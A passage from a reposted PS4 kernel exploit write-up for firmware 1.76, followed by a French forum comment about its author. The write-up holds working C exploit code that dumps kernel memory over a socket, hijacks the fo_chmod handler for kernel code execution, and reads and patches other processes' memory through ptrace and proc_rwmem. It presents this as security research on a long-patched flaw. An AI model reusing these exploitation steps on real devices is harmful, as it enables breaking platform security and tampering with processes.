asm volatile("mov %0, gs:0" : "=r"(td));

// Copy some kernel memory into userland memory
memcpy(dump, (void *)0xffffffff8249ec10, 0x1000);

int (*sys_sendto)(ScePthread td, struct sendto_args *uap) = (void *)0xffffffff8249ec10;
struct sendto_args args = { sock, dump, 0x1000, 0, NULL, 0 };

while(sys_sendto(td, &args) == EINTR);

Analysing the kernel dump
I scanned through the kernel address space and discovered that the kernel was stored in RAM as a 0xeac180 byte ELF from address0xffffffff80700000, and data was stored from 0xffffffff82cfc000 onwards. This ELF can be loaded into IDA Pro with all symbols.

We can now easily find the addresses needed to call other kernel functions, restore kernel state, hook other kernel function pointers, and much more.


Restoring kernel state
Whilst developing the FreeBSD exploit, we had the luxury of dumping the IDT with a debugger before and after triggering the exploit to see which bytes were corrupt, and fix them accordingly. Unfortunately, for PS4 we can only dump the IDT after triggering the exploit.

Rather than inspecting all of the IDT entries manually for corruption, I found the and copied it into the PS4 payload using the function addresses from the kernel dump. This re-initialised the IDT to its correct state.


Kernel code execution under less critical context
As explained earlier, the payload executes under a very unstable double-fault context, such that accessing any unpaged memory will cause a triple fault and crash the system.

This context is not very practical or safe for general kernel payload development. Instead, we use this initial code execution to hijack thesocketops->fo_chmod handler:

struct fileops *socketops = (struct fileops *)0xFFFFFFFF83242C40;
original_fo_chmod = socketops->fo_chmod;
socketops->fo_chmod = payload;
After returning to userland, we can now re-enter the kernel by using the fchmod system call to trigger our second payload:

int s = sceNetSocket("kernelTrigger", AF_INET, SOCK_STREAM, 0);

if(s > 0) {
printf("Triggering second kernel payload\n");
fchmod(s, 0);
}
else printf("Failed to allocate socket\n");

sceNetSocketClose(s);
We have a lot more freedom in this context, and can easily restore the original handler when finished:

// We are in a normal kernel context here
int payload(void *fp, int mode, void *active_cred, struct thread *td) {
int (*sendto)(struct thread *td, struct sendto_args *uap) = (void *)sys_sendto;

struct sendto_args args = { sock, payloadMessage, strlen(payloadMessage), 0, NULL, 0 };
sendto(td, &args);


// Restore original handler
struct fileops *socketops = (struct fileops *)0xFFFFFFFF83242C40;
socketops->fo_chmod = original_fo_chmod;

return 22;
}

Reliability
The exploit is fairly reliable, however there are a few odd cases. For example, occasionally the first kernel payload (called from the hijacked#PF handler) will be triggered twice:

[+] Here goes...
[+] Entered critical payload
[+] Entered shellcode
[+] UID: 0, GID: 0
[+] Triggering second kernel payload
[+] Entered main payload
[+] Entered critical payload
[+] Entered shellcode
There are many potential explanations for what causes this, including some form of cache incoherency between processors, or preemption of the kernel task before the IDT is fixed.

Since this is fairly rare, and it isn't much of an issue (I'd rather the payload was triggered twice than not triggered at all), I haven't bothered to look into exactly what causes this yet.


Filesystem
After completely breaking out of the sandbox and patching our process with the highest rights, our process has unrestricted access to the entire filesystem.

I published earlier this week.

In particular, one interesting thing is the ability to dump decrypted PS4 NOR flash from the sflash partitions under /dev/. I haven't really had time to analyse these dumps completely yet, but it mostly consists of data in the .


Exploring other processes
Previously, we could only obtain information about the WebKit process which we hijacked, but now that we've patched our process with the highest credentials, we can access all processes.

To list all processes, we can read the kern.proc.pid name of sysctl:

#define CTL_KERN 1
#define KERN_PROC 14
#define KERN_PROC_PID 1

int (*sysctl)(int *name, uint32_t namelen, void *oldp, size_t *oldlenp, void *newp, size_t newlen) = NULL;
RESOLVE(1, sysctl);

int pid, mib[4];
size_t len;

pid = 0;
//pid = syscall(20); // getpid()

mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = pid;

if(sysctl(mib, 4, dump, &len, NULL, 0) == -1) perror("sysctl");
else if(len > 0) {
char *name = dump + 0x1bf;
char *thread = dump + 0x18a;

printf(" [+] PID %d, name: %s, thread: %s\n", pid, name, thread);
}
A list of all processes was also posted in my .

Since these process numbers are not always the same, it is best to iterate over every PID until you find the one with the process name you are interested in. For example, to target the currently running game, search for a process with the name "eboot.bin":

if(strcmp(name, "eboot.bin") == 0) patchPid = pid;
The next stage is to read all mappings from the target process, which can be done with the KERN_PROC_VMMAP name of sysctl. Due to ASLR, the addresses of mappings will always be different, so you should read them dynamically.

Once you've identified a mapping you want to dump, you can use to read it:

int result = ptrace(PTRACE_ATTACH, pid, NULL, NULL);

printf(" [+] Attaching to SceShellUI: %d\n", result);

unsigned long offset;
struct ptrace_io_desc pt_desc;

char *readbuf = mmap(NULL, mappingSize, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

for(offset = mappingAddress; offset < mappingAddress + mappingSize; offset += DUMP_SIZE) {
pt_desc.piod_op = PIOD_READ_D;
pt_desc.piod_addr = readbuf;
pt_desc.piod_offs = offset;
pt_desc.piod_len = DUMP_SIZE;

int ret = ptrace(PT_IO, pid, &pt_desc, NULL);
if(!ret) sceNetSend(sock, readbuf, pt_desc.piod_len, 0);
}
However, when using ptrace to access the memory of another process, we encountered issues where the process would immediately restart after finishing with reading or writing. This would cause any patches to be lost.

The solution is to just use proc_rwmem directly, from inside the kernel payload. With this, we can now dump the memory of any process, and make patches!


Summary
I'm going to finish the article at this point since I just wanted to provide a few examples of what can be done with the kernel exploit; there's so much else to be be explored that I don't think I'll ever get round to everything: the registry, save game encryption, system update process, capturing decrypted SSL traffic, etc.

In conclusion, we have achieved kernel code execution on firmware 1.76 of the PS4. Fortunately, BadIRET has been long patched on later firmware versions, so this research hopefully shouldn't cause any adverse effects.

This does however provide researchers the ability to reverse engineer the PS4 kernel, which was previously unavailable. One of the things we will probably spend the most time doing now is auditing the custom Sony system calls in the kernel dump, and searching for vulnerabilities which may be present on later firmware versions; but I'll probably take a long break from the PS4 first.

 

An Albanian

'
Premium
Inscription
18 Avril 2013
Messages
2 857
Réactions
930
Points
17 631
D'après lui c'est un passionné de l'InfoSec (protection informatique, LS :espion:), donc en gros il essaye de trouver des failles sans vraiment les releases mais dévoile certaines failles. En gros il aide quand même les autres développeurs à essayer de jailbreak avec son avancé, avec ce qu'il a trouvé. Mais c'est pas lui qui va vous faire un tutoriel de A à Z sur comment avoir accès à la faille WebKit.
 
Dernière édition:
Haut